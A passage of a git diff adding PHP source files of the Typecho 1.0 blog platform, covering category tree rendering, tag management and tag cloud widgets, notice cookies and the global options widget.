$categoryOptions = $this->_categoryOptions; + if ($this->_customTreeViewCategoriesCallback) { + return treeViewCategories($this, $categoryOptions); + } + + $classes = array(); + + if ($categoryOptions->itemClass) { + $classes[] = $categoryOptions->itemClass; + } + + $classes[] = 'category-level-' . $this->levels; + + echo '<' . $categoryOptions->itemTag . ' class="' + . implode(' ', $classes); + + if ($this->levels > 0) { + echo ' category-child'; + $this->levelsAlt(' category-level-odd', ' category-level-even'); + } else { + echo ' category-parent'; + } + + if ($this->mid == $this->parameter->current) { + echo ' category-active'; + } else if (isset($this->_children[$this->mid]) && in_array($this->parameter->current, $this->_children[$this->mid])) { + echo ' category-parent-active'; + } + + echo '"><a href="' . $this->permalink . '">' . $this->name . '</a>'; + + if ($categoryOptions->showCount) { + printf($categoryOptions->countTemplate, intval($this->count)); + } + + if ($categoryOptions->showFeed) { + printf($categoryOptions->feedTemplate, $this->feedUrl); + } + + if ($this->children) { + $this->treeViewCategories(); + } + + echo '</li>'; + } + + /** + * 预处理分类迭代 + * + * @param array $categories + * @param array $parents + * @access private + */ + private function levelWalkCallback(array $categories, $parents = array()) + { + foreach ($parents as $parent) { + if (!isset($this->_children[$parent])) { + $this->_children[$parent] = array(); + } + + $this->_children[$parent] = array_merge($this->_children[$parent], $categories); + } + + foreach ($categories as $mid) { + $this->_orders[] = $mid; + $parent = $this->_map[$mid]['parent']; + + if (0 != $parent && isset($this->_map[$parent])) { + $levels = $this->_map[$parent]['levels'] + 1; + $this->_map[$mid]['levels'] = $levels; + } + + $this->_parents[$mid] = $parents; + + if (!empty($this->_treeViewCategories[$mid])) { + $new = $parents; + $new[] = $mid; + $this->levelWalkCallback($this->_treeViewCategories[$mid], $new); + } + } + } + + /** + * 子评论 + * + * @access protected + * @return array + */ + protected function ___children() + { + return isset($this->_treeViewCategories[$this->mid]) ? + $this->getCategories($this->_treeViewCategories[$this->mid]) : array(); + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + $this->stack = $this->getCategories($this->_orders); + } + + /** + * treeViewCategories + * + * @access public + * @return void + */ + public function treeViewCategories() + { + $children = $this->children; + if ($children) { + //缓存变量便于还原 + $tmp = $this->row; + $this->sequence ++; + + //在子评论之前输出 + echo '<' . $this->_categoryOptions->wrapTag . (empty($this->_categoryOptions->wrapClass) + ? '' : ' class="' . $this->_categoryOptions->wrapClass . '"') . '>'; + + foreach ($children as $child) { + $this->row = $child; + $this->treeViewCategoriesCallback(); + $this->row = $tmp; + } + + //在子评论之后输出 + echo '</' . $this->_categoryOptions->wrapTag . '>'; + + $this->sequence --; + } + } + + /** + * treeViewCategories + * + * @param $categoryOptions 输出选项 + * @access public + * @return void + */ + public function listCategories($categoryOptions = NULL) + { + //初始化一些变量 + $this->_categoryOptions = Typecho_Config::factory($categoryOptions); + $this->_categoryOptions->setDefault(array( + 'wrapTag' => 'ul', + 'wrapClass' => '', + 'itemTag' => 'li', + 'itemClass' => '', + 'showCount' => false, + 'showFeed' => false, + 'countTemplate' => '(%d)', + 'feedTemplate' => '<a href="%s">RSS</a>' + )); + + // 插件插件接口 + $this->pluginHandle()->trigger($plugged)->listCategories($this->_categoryOptions, $this); + + if (!$plugged) { + $this->stack = $this->getCategories($this->_top); + + if ($this->have()) { + echo '<' . $this->_categoryOptions->wrapTag . (empty($this->_categoryOptions->wrapClass) + ? '' : ' class="' . $this->_categoryOptions->wrapClass . '"') . '>'; + while ($this->next()) { + $this->treeViewCategoriesCallback(); + } + echo '</' . $this->_categoryOptions->wrapTag . '>'; + } + + $this->stack = $this->_map; + } + } + + /** + * 根据深度余数输出 + * + * @access public + * @return void + */ + public function levelsAlt() + { + $args = func_get_args(); + $num = func_num_args(); + $split = $this->levels % $num; + echo $args[(0 == $split ? $num : $split) -1]; + } + + /** + * 将每行的值压入堆栈 + * + * @access public + * @param array $value 每行的值 + * @return array + */ + public function filter(array $value) + { + $value['directory'] = $this->getAllParents($value['mid']); + $value['directory'][] = $value['slug']; + + $tmpCategoryTree = $value['directory']; + $value['directory'] = implode('/', array_map('urlencode', $value['directory'])); + + $value = parent::filter($value); + $value['directory'] = $tmpCategoryTree; + + return $value; + } + + /** + * 获取某个分类下的所有子节点 + * + * @param mixed $mid + * @access public + * @return array + */ + public function getAllChildren($mid) + { + return isset($this->_children[$mid]) ? $this->_children[$mid] : array(); + } + + /** + * 获取某个分类所有父级节点 + * + * @param mixed $mid + * @access public + * @return array + */ + public function getAllParents($mid) + { + $parents = array(); + + if (isset($this->_parents[$mid])) { + foreach ($this->_parents[$mid] as $parent) { + $parents[] = $this->_map[$parent]['slug']; + } + } + + return $parents; + } + + /** + * 获取单个分类 + * + * @param integer $mid + * @access public + * @return mixed + */ + public function getCategory($mid) + { + return isset($this->_map[$mid]) ? $this->_map[$mid] : NULL; + } + + /** + * 获取多个分类 + * + * @param mixed $mids + * @access public + * @return array + */ + public function getCategories($mids) + { + $result = array(); + + if (!empty($mids)) { + foreach ($mids as $mid) { + $result[] = $this->_map[$mid]; + } + } + + return $result; + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Metas/Tag/Admin.php b/Typecho/1.0/php-fpm/src/var/Widget/Metas/Tag/Admin.php new file mode 100755 index 000000000..9c7fcb85e --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Metas/Tag/Admin.php @@ -0,0 +1,56 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 标签云 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 标签云组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Metas_Tag_Admin extends Widget_Metas_Tag_Cloud +{ + /** + * 入口函数 + * + * @access public + * @return void + */ + public function execute() + { + $select = $this->select()->where('type = ?', 'tag')->order('mid', Typecho_Db::SORT_DESC); + $this->db->fetchAll($select, array($this, 'push')); + } + + /** + * 获取菜单标题 + * + * @access public + * @return string + */ + public function getMenuTitle() + { + if (isset($this->request->mid)) { + $tag = $this->db->fetchRow($this->select() + ->where('type = ? AND mid = ?', 'tag', $this->request->mid)); + + if (!empty($tag)) { + return _t('编辑标签 %s', $tag['name']); + } + } else { + return; + } + + throw new Typecho_Widget_Exception(_t('标签不存在'), 404); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Metas/Tag/Cloud.php b/Typecho/1.0/php-fpm/src/var/Widget/Metas/Tag/Cloud.php new file mode 100755 index 000000000..92de3503f --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Metas/Tag/Cloud.php @@ -0,0 +1,61 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 标签云 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 标签云组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Metas_Tag_Cloud extends Widget_Abstract_Metas +{ + /** + * 入口函数 + * + * @access public + * @return void + */ + public function execute() + { + $this->parameter->setDefault(array('sort' => 'count', 'ignoreZeroCount' => false, 'desc' => true, 'limit' => 0)); + $select = $this->select()->where('type = ?', 'tag')->order($this->parameter->sort, + $this->parameter->desc ? Typecho_Db::SORT_DESC : Typecho_Db::SORT_ASC); + + /** 忽略零数量 */ + if ($this->parameter->ignoreZeroCount) { + $select->where('count > 0'); + } + + /** 总数限制 */ + if ($this->parameter->limit) { + $select->limit($this->parameter->limit); + } + + $this->db->fetchAll($select, array($this, 'push')); + } + + /** + * 按分割数输出字符串 + * + * @access public + * @param string $param 需要输出的值 + * @return void + */ + public function split() + { + $args = func_get_args(); + array_unshift($args, $this->count); + echo call_user_func_array(array('Typecho_Common', 'splitByCount'), $args); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Metas/Tag/Edit.php b/Typecho/1.0/php-fpm/src/var/Widget/Metas/Tag/Edit.php new file mode 100755 index 000000000..ec0f90818 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Metas/Tag/Edit.php @@ -0,0 +1,366 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 标签编辑 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 标签编辑组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Metas_Tag_Edit extends Widget_Abstract_Metas implements Widget_Interface_Do +{ + /** + * 入口函数 + * + * @access public + * @return void + */ + public function execute() + { + /** 编辑以上权限 */ + $this->user->pass('editor'); + } + + /** + * 判断标签是否存在 + * + * @access public + * @param integer $mid 标签主键 + * @return boolean + */ + public function tagExists($mid) + { + $tag = $this->db->fetchRow($this->db->select() + ->from('table.metas') + ->where('type = ?', 'tag') + ->where('mid = ?', $mid)->limit(1)); + + return $tag ? true : false; + } + + /** + * 判断标签名称是否存在 + * + * @access public + * @param string $name 标签名称 + * @return boolean + */ + public function nameExists($name) + { + $select = $this->db->select() + ->from('table.metas') + ->where('type = ?', 'tag') + ->where('name = ?', $name) + ->limit(1); + + if ($this->request->mid) { + $select->where('mid <> ?', $this->request->filter('int')->mid); + } + + $tag = $this->db->fetchRow($select); + return $tag ? false : true; + } + + /** + * 判断标签名转换到缩略名后是否合法 + * + * @access public + * @param string $name 标签名 + * @return boolean + */ + public function nameToSlug($name) + { + if (empty($this->request->slug)) { + $slug = Typecho_Common::slugName($name); + if (empty($slug) || !$this->slugExists($name)) { + return false; + } + } + + return true; + } + + /** + * 判断标签缩略名是否存在 + * + * @access public + * @param string $slug 缩略名 + * @return boolean + */ + public function slugExists($slug) + { + $select = $this->db->select() + ->from('table.metas') + ->where('type = ?', 'tag') + ->where('slug = ?', Typecho_Common::slugName($slug)) + ->limit(1); + + if ($this->request->mid) { + $select->where('mid <> ?', $this->request->mid); + } + + $tag = $this->db->fetchRow($select); + return $tag ? false : true; + } + + /** + * 生成表单 + * + * @access public + * @param string $action 表单动作 + * @return Typecho_Widget_Helper_Form + */ + public function form($action = NULL) + { + /** 构建表格 */ + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/metas-tag-edit'), + Typecho_Widget_Helper_Form::POST_METHOD); + + /** 标签名称 */ + $name = new Typecho_Widget_Helper_Form_Element_Text('name', NULL, NULL, + _t('标签名称 *'), _t('这是标签在站点中显示的名称.可以使用中文,如 "地球".')); + $form->addInput($name); + + /** 标签缩略名 */ + $slug = new Typecho_Widget_Helper_Form_Element_Text('slug', NULL, NULL, + _t('标签缩略名'), _t('标签缩略名用于创建友好的链接形式, 如果留空则默认使用标签名称.')); + $form->addInput($slug); + + /** 标签动作 */ + $do = new Typecho_Widget_Helper_Form_Element_Hidden('do'); + $form->addInput($do); + + /** 标签主键 */ + $mid = new Typecho_Widget_Helper_Form_Element_Hidden('mid'); + $form->addInput($mid); + + /** 提交按钮 */ + $submit = new Typecho_Widget_Helper_Form_Element_Submit(); + $submit->input->setAttribute('class', 'btn primary'); + $form->addItem($submit); + + if (isset($this->request->mid) && 'insert' != $action) { + /** 更新模式 */ + $meta = $this->db->fetchRow($this->select() + ->where('mid = ?', $this->request->mid) + ->where('type = ?', 'tag')->limit(1)); + + if (!$meta) { + $this->response->redirect(Typecho_Common::url('manage-tags.php', $this->options->adminUrl)); + } + + $name->value($meta['name']); + $slug->value($meta['slug']); + $do->value('update'); + $mid->value($meta['mid']); + $submit->value(_t('编辑标签')); + $_action = 'update'; + } else { + $do->value('insert'); + $submit->value(_t('增加标签')); + $_action = 'insert'; + } + + if (empty($action)) { + $action = $_action; + } + + /** 给表单增加规则 */ + if ('insert' == $action || 'update' == $action) { + $name->addRule('required', _t('必须填写标签名称')); + $name->addRule(array($this, 'nameExists'), _t('标签名称已经存在')); + $name->addRule(array($this, 'nameToSlug'), _t('标签名称无法被转换为缩略名')); + $name->addRule('xssCheck', _t('请不要标签名称中使用特殊字符')); + $slug->addRule(array($this, 'slugExists'), _t('缩略名已经存在')); + $slug->addRule('xssCheck', _t('请不要在缩略名中使用特殊字符')); + } + + if ('update' == $action) { + $mid->addRule('required', _t('标签主键不存在')); + $mid->addRule(array($this, 'tagExists'), _t('标签不存在')); + } + + return $form; + } + + /** + * 插入标签 + * + * @access public + * @return void + */ + public function insertTag() + { + if ($this->form('insert')->validate()) { + $this->response->goBack(); + } + + /** 取出数据 */ + $tag = $this->request->from('name', 'slug'); + $tag['type'] = 'tag'; + $tag['slug'] = Typecho_Common::slugName(empty($tag['slug']) ? $tag['name'] : $tag['slug']); + + /** 插入数据 */ + $tag['mid'] = $this->insert($tag); + $this->push($tag); + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight($this->theId); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t('标签 <a href="%s">%s</a> 已经被增加', + $this->permalink, $this->name), 'success'); + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('manage-tags.php', $this->options->adminUrl)); + } + + /** + * 更新标签 + * + * @access public + * @return void + */ + public function updateTag() + { + if ($this->form('update')->validate()) { + $this->response->goBack(); + } + + /** 取出数据 */ + $tag = $this->request->from('name', 'slug', 'mid'); + $tag['type'] = 'tag'; + $tag['slug'] = Typecho_Common::slugName(empty($tag['slug']) ? $tag['name'] : $tag['slug']); + + /** 更新数据 */ + $this->update($tag, $this->db->sql()->where('mid = ?', $this->request->filter('int')->mid)); + $this->push($tag); + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight($this->theId); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t('标签 <a href="%s">%s</a> 已经被更新', + $this->permalink, $this->name), 'success'); + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('manage-tags.php', $this->options->adminUrl)); + } + + /** + * 删除标签 + * + * @access public + * @return void + */ + public function deleteTag() + { + $tags = $this->request->filter('int')->getArray('mid'); + $deleteCount = 0; + + if ($tags && is_array($tags)) { + foreach ($tags as $tag) { + if ($this->delete($this->db->sql()->where('mid = ?', $tag))) { + $this->db->query($this->db->delete('table.relationships')->where('mid = ?', $tag)); + $deleteCount ++; + } + } + } + + /** 提示信息 */ + $this->widget('Widget_Notice')->set($deleteCount > 0 ? _t('标签已经删除') : _t('没有标签被删除'), + $deleteCount > 0 ? 'success' : 'notice'); + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('manage-tags.php', $this->options->adminUrl)); + } + + /** + * 合并标签 + * + * @access public + * @return void + */ + public function mergeTag() + { + if (empty($this->request->merge)) { + $this->widget('Widget_Notice')->set(_t('请填写需要合并到的标签'), 'notice'); + $this->response->goBack(); + } + + $merge = $this->scanTags($this->request->merge); + if (empty($merge)) { + $this->widget('Widget_Notice')->set(_t('合并到的标签名不合法'), 'error'); + $this->response->goBack(); + } + + $tags = $this->request->filter('int')->getArray('mid'); + + if ($tags) { + $this->merge($merge, 'tag', $tags); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t('标签已经合并'), 'success'); + } else { + $this->widget('Widget_Notice')->set(_t('没有选择任何标签'), 'notice'); + } + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('manage-tags.php', $this->options->adminUrl)); + } + + /** + * 刷新标签 + * + * @access public + * @return void + */ + public function refreshTag() + { + $tags = $this->request->filter('int')->getArray('mid'); + if ($tags) { + foreach ($tags as $tag) { + $this->refreshCountByTypeAndStatus($tag, 'post', 'publish'); + } + + // 自动清理标签 + $this->clearTags(); + + $this->widget('Widget_Notice')->set(_t('标签刷新已经完成'), 'success'); + } else { + $this->widget('Widget_Notice')->set(_t('没有选择任何标签'), 'notice'); + } + + /** 转向原页 */ + $this->response->goBack(); + } + + /** + * 入口函数,绑定事件 + * + * @access public + * @return void + */ + public function action() + { + $this->security->protect(); + $this->on($this->request->is('do=insert'))->insertTag(); + $this->on($this->request->is('do=update'))->updateTag(); + $this->on($this->request->is('do=delete'))->deleteTag(); + $this->on($this->request->is('do=merge'))->mergeTag(); + $this->on($this->request->is('do=refresh'))->refreshTag(); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Notice.php b/Typecho/1.0/php-fpm/src/var/Widget/Notice.php new file mode 100755 index 000000000..40edf6d2f --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Notice.php @@ -0,0 +1,71 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id: Widget.php 48 2008-03-16 02:51:40Z magike.net $ + */ + +/** + * 提示框组件 + * + * @package Widget + */ +class Widget_Notice extends Typecho_Widget +{ + /** + * 提示高亮 + * + * @access public + * @var string + */ + public $highlight; + + /** + * 高亮相关元素 + * + * @access public + * @param string $theId 需要高亮元素的id + * @return void + */ + public function highlight($theId) + { + $this->highlight = $theId; + Typecho_Cookie::set('__typecho_notice_highlight', $theId, + $this->widget('Widget_Options')->gmtTime + $this->widget('Widget_Options')->timezone + 86400); + } + + /** + * 获取高亮的id + * + * @access public + * @return integer + */ + public function getHighlightId() + { + return preg_match("/[0-9]+/", $this->highlight, $matches) ? $matches[0] : 0; + } + + /** + * 设定堆栈每一行的值 + * + * @param string $value 值对应的键值 + * @param string $type 提示类型 + * @param string $typeFix 兼容老插件 + * @return array + */ + public function set($value, $type = 'notice', $typeFix = 'notice') + { + $notice = is_array($value) ? array_values($value) : array($value); + if (empty($type) && $typeFix) { + $type = $typeFix; + } + + Typecho_Cookie::set('__typecho_notice', Json::encode($notice), + $this->widget('Widget_Options')->gmtTime + $this->widget('Widget_Options')->timezone + 86400); + Typecho_Cookie::set('__typecho_notice_type', $type, + $this->widget('Widget_Options')->gmtTime + $this->widget('Widget_Options')->timezone + 86400); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Options.php b/Typecho/1.0/php-fpm/src/var/Widget/Options.php new file mode 100755 index 000000000..e673cf28a --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Options.php @@ -0,0 +1,571 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 全局选项 + * + * @link typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 全局选项组件 + * + * @link typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Options extends Typecho_Widget +{ + /** + * 缓存的插件配置 + * + * @access private + * @var array + */ + private $_pluginConfig = array(); + + /** + * 缓存的个人插件配置 + * + * @access private + * @var array + */ + private $_personalPluginConfig = array(); + + /** + * 数据库对象 + * + * @access protected + * @var Typecho_Db + */ + protected $db; + + /** + * 构造函数,初始化组件 + * + * @access public + * @param mixed $request request对象 + * @param mixed $response response对象 + * @param mixed $params 参数列表 + */ + public function __construct($request, $response, $params = NULL) + { + parent::__construct($request, $response, $params); + + /** 初始化数据库 */ + $this->db = Typecho_Db::get(); + } + + /** + * RSS2.0 + * + * @access protected + * @return string + */ + protected function ___feedUrl() + { + return Typecho_Router::url('feed', array('feed' => '/'), $this->index); + } + + /** + * RSS1.0 + * + * @access protected + * @return string + */ + protected function ___feedRssUrl() + { + return Typecho_Router::url('feed', array('feed' => '/rss/'), $this->index); + } + + /** + * ATOM1.O + * + * @access protected + * @return string + */ + protected function ___feedAtomUrl() + { + return Typecho_Router::url('feed', array('feed' => '/atom/'), $this->index); + } + + /** + * 评论RSS2.0聚合 + * + * @access protected + * @return string + */ + protected function ___commentsFeedUrl() + { + return Typecho_Router::url('feed', array('feed' => '/comments/'), $this->index); + } + + /** + * 评论RSS1.0聚合 + * + * @access protected + * @return string + */ + protected function ___commentsFeedRssUrl() + { + return Typecho_Router::url('feed', array('feed' => '/rss/comments/'), $this->index); + } + + /** + * 评论ATOM1.0聚合 + * + * @access protected + * @return string + */ + protected function ___commentsFeedAtomUrl() + { + return Typecho_Router::url('feed', array('feed' => '/atom/comments/'), $this->index); + } + + /** + * xmlrpc api地址 + * + * @access protected + * @return string + */ + protected function ___xmlRpcUrl() + { + return Typecho_Router::url('do', array('action' => 'xmlrpc'), $this->index); + } + + /** + * 获取解析路径前缀 + * + * @access protected + * @return string + */ + protected function ___index() + { + return ($this->rewrite || (defined('__TYPECHO_REWRITE__') && __TYPECHO_REWRITE__)) + ? $this->rootUrl : Typecho_Common::url('index.php', $this->rootUrl); + } + + /** + * 获取模板路径 + * + * @access protected + * @return string + */ + protected function ___themeUrl() + { + return defined('__TYPECHO_THEME_URL__') ? __TYPECHO_THEME_URL__ : + Typecho_Common::url(__TYPECHO_THEME_DIR__ . '/' . $this->theme, $this->siteUrl); + } + + /** + * 获取插件路径 + * + * @access protected + * @return string + */ + protected function ___pluginUrl() + { + return defined('__TYPECHO_PLUGIN_URL__') ? __TYPECHO_PLUGIN_URL__ : + Typecho_Common::url(__TYPECHO_PLUGIN_DIR__, $this->siteUrl); + } + + /** + * 获取后台路径 + * + * @access protected + * @return string + */ + protected function ___adminUrl() + { + return Typecho_Common::url(defined('__TYPECHO_ADMIN_DIR__') ? + __TYPECHO_ADMIN_DIR__ : '/admin/', $this->rootUrl); + } + + /** + * 获取登录地址 + * + * @access protected + * @return string + */ + protected function ___loginUrl() + { + return Typecho_Common::url('login.php', $this->adminUrl); + } + + /** + * 获取登录提交地址 + * + * @access protected + * @return string + */ + protected function ___loginAction() + { + return $this->widget('Widget_Security')->getTokenUrl( + Typecho_Router::url('do', array('action' => 'login', 'widget' => 'Login'), + Typecho_Common::url('index.php', $this->rootUrl))); + } + + /** + * 获取注册地址 + * + * @access protected + * @return string + */ + protected function ___registerUrl() + { + return Typecho_Common::url('register.php', $this->adminUrl); + } + + /** + * 获取登录提交地址 + * + * @access protected + * @return string + */ + protected function ___registerAction() + { + return $this->widget('Widget_Security')->getTokenUrl( + Typecho_Router::url('do', array('action' => 'register', 'widget' => 'Register'), $this->index)); + } + + /** + * 获取个人档案地址 + * + * @access protected + * @return string + */ + protected function ___profileUrl() + { + return Typecho_Common::url('profile.php', $this->adminUrl); + } + + /** + * 获取登出地址 + * + * @access protected + * @return string + */ + protected function ___logoutUrl() + { + return Typecho_Common::url('/action/logout', $this->index); + } + + /** + * 获取系统时区 + * + * @access protected + * @return integer + */ + protected function ___serverTimezone() + { + return Typecho_Date::$serverTimezoneOffset; + } + + /** + * 获取格林尼治标准时间 + * + * @access protected + * @return integer + */ + protected function ___gmtTime() + { + return Typecho_Date::gmtTime(); + } + + /** + * 获取格式 + * + * @access protected + * @return string + */ + protected function ___contentType() + { + return isset($this->contentType) ? $this->contentType : 'text/html'; + } + + /** + * 软件名称 + * + * @access protected + * @return string + */ + protected function ___software() + { + list($software, $version) = explode(' ', $this->generator); + return $software; + } + + /** + * 软件版本 + * + * @access protected + * @return string + */ + protected function ___version() + { + list($software, $version) = explode(' ', $this->generator); + return $version; + } + + /** + * 允许上传的文件类型 + * + * @access protected + * @return string + */ + protected function ___allowedAttachmentTypes() + { + $attachmentTypesResult = array(); + + if (NULL != $this->attachmentTypes) { + $attachmentTypes = str_replace( + array('@image@', '@media@', '@doc@'), + array('gif,jpg,jpeg,png,tiff,bmp', 'mp3,wmv,wma,rmvb,rm,avi,flv', + 'txt,doc,docx,xls,xlsx,ppt,pptx,zip,rar,pdf'), $this->attachmentTypes); + + $attachmentTypesResult = array_unique(array_map('trim', explode(',', $attachmentTypes))); + } + + return $attachmentTypesResult; + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + $this->db->fetchAll($this->db->select()->from('table.options') + ->where('user = 0'), array($this, 'push')); + + /** 支持皮肤变量重载 */ + if (!empty($this->row['theme:' . $this->row['theme']])) { + $themeOptions = NULL; + + /** 解析变量 */ + if ($themeOptions = unserialize($this->row['theme:' . $this->row['theme']])) { + /** 覆盖变量 */ + $this->row = array_merge($this->row, $themeOptions); + } + } + + $this->stack[] = &$this->row; + + /** 初始化站点信息 */ + if (defined('__TYPECHO_SITE_URL__')) { + $this->siteUrl = __TYPECHO_SITE_URL__; + } + + $this->originalSiteUrl = $this->siteUrl; + $this->siteUrl = Typecho_Common::url(NULL, $this->siteUrl); + $this->plugins = unserialize($this->plugins); + + /** 动态判断皮肤目录 */ + $this->theme = is_dir($this->themeFile($this->theme)) ? $this->theme : 'default'; + + /** 动态获取根目录 */ + $this->rootUrl = $this->request->getRequestRoot(); + if (defined('__TYPECHO_ADMIN__')) { + $adminDir = '/' . trim(defined('__TYPECHO_ADMIN_DIR__') ? __TYPECHO_ADMIN_DIR__ : '/admin/', '/'); + $this->rootUrl = substr($this->rootUrl, 0, - strlen($adminDir)); + } + + /** 增加对SSL连接的支持 */ + if ($this->request->isSecure() && 0 === strpos($this->siteUrl, 'http://')) { + $this->siteUrl = substr_replace($this->siteUrl, 'https', 0, 4); + } + + /** 自动初始化路由表 */ + $this->routingTable = unserialize($this->routingTable); + if (!isset($this->routingTable[0])) { + /** 解析路由并缓存 */ + $parser = new Typecho_Router_Parser($this->routingTable); + $parsedRoutingTable = $parser->parse(); + $this->routingTable = array_merge(array($parsedRoutingTable), $this->routingTable); + $this->db->query($this->db->update('table.options')->rows(array('value' => serialize($this->routingTable))) + ->where('name = ?', 'routingTable')); + } + } + + /** + * 重载父类push函数,将所有变量值压入堆栈 + * + * @access public + * @param array $value 每行的值 + * @return array + */ + public function push(array $value) + { + //将行数据按顺序置位 + $this->row[$value['name']] = $value['value']; + return $value; + } + + /** + * 输出网站路径 + * + * @access public + * @param string $path 子路径 + * @return void + */ + public function siteUrl($path = NULL) + { + echo Typecho_Common::url($path, $this->siteUrl); + } + + /** + * 输出解析地址 + * + * @access public + * @param string $path 子路径 + * @return void + */ + public function index($path = NULL) + { + echo Typecho_Common::url($path, $this->index); + } + + /** + * 输出模板路径 + * + * @access public + * @param string $path 子路径 + * @param string $theme 模版名称 + * @return void + */ + public function themeUrl($path = NULL, $theme = NULL) + { + if (empty($theme)) { + echo Typecho_Common::url($path, $this->themeUrl); + } + + $url = defined('__TYPECHO_THEME_URL__') ? __TYPECHO_THEME_URL__ : + Typecho_Common::url(__TYPECHO_THEME_DIR__ . '/' . $theme, $this->siteUrl); + + return Typecho_Common::url($path, $url); + } + + /** + * 输出插件路径 + * + * @access public + * @param string $path 子路径 + * @return void + */ + public function pluginUrl($path = NULL) + { + echo Typecho_Common::url($path, $this->pluginUrl); + } + + /** + * 获取皮肤文件 + * + * @param string $theme + * @param string $file + * @return string + */ + public function themeFile($theme, $file = '') + { + return __TYPECHO_ROOT_DIR__ . __TYPECHO_THEME_DIR__ . '/' . trim($theme, './') . '/' . trim($file, './'); + } + + /** + * 获取插件目录 + * + * @param $plugin + * @return string + */ + public function pluginDir($plugin) + { + return __TYPECHO_ROOT_DIR__ . '/' . __TYPECHO_PLUGIN_DIR__; + } + + /** + * 输出后台路径 + * + * @access public + * @param string $path 子路径 + * @return void + */ + public function adminUrl($path = NULL) + { + echo Typecho_Common::url($path, $this->adminUrl); + } + + /** + * 获取或输出后台静态文件路径 + * + * @param string $type + * @param string $file + * @return void|string + */ + public function adminStaticUrl($type, $file = NULL) + { + $url = Typecho_Common::url($type, $this->adminUrl); + + if (empty($file)) { + return $url; + } + + echo Typecho_Common::url($file, $url); + } + + /** + * 编码输出允许出现在评论中的html标签 + * + * @access public + * @return void + */ + public function commentsHTMLTagAllowed() + { + echo htmlspecialchars($this->commentsHTMLTagAllowed); + } + + /** + * 获取插件系统参数 + * + * @param mixed $pluginName 插件名称 + * @return mixed + * @throws Typecho_Plugin_Exception + */ + public function plugin($pluginName) + { + if (!isset($this->_pluginConfig[$pluginName])) { + if (!empty($this->row['plugin:' . $pluginName]) + && false !== ($options = unserialize($this->row['plugin:' . $pluginName]))) { + $this->_pluginConfig[$pluginName] = new Typecho_Config($options); + } else { + throw new Typecho_Plugin_Exception(_t('插件%s的配置信息没有找到', $pluginName), 500); + } + } + + return $this->_pluginConfig[$pluginName]; + } + + /** + * 获取个人插件系统参数 + * + * @param mixed $pluginName 插件名称 + * @return mixed + * @throws Typecho_Plugin_Exception + */ + public function personalPlugin($pluginName) + { + if (!isset($this->_personalPluginConfig[$pluginName])) { + if (!empty($this->row['_plugin:' . $pluginName]) + && false !== ($options = unserialize($this->row['_plugin:' . $pluginName]))) { + $this->_personalPluginConfig[$pluginName] = new Typecho_Config($options); + } else { + throw new Typecho_Plugin_Exception(_t('插件%s的配置信息没有找到', $pluginName), 500); + } + } + + return $this->_personalPluginConfig[$pluginName]; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Options/Discussion.php b/Typecho/1.0/php-fpm/src/var/Widget/Options/Discussion.php new file mode 100755 index 000000000..893c71b22 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Options/Discussion.php @@ -0,0 +1,248 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 评论设置 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 评论设置组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Options_Discussion extends 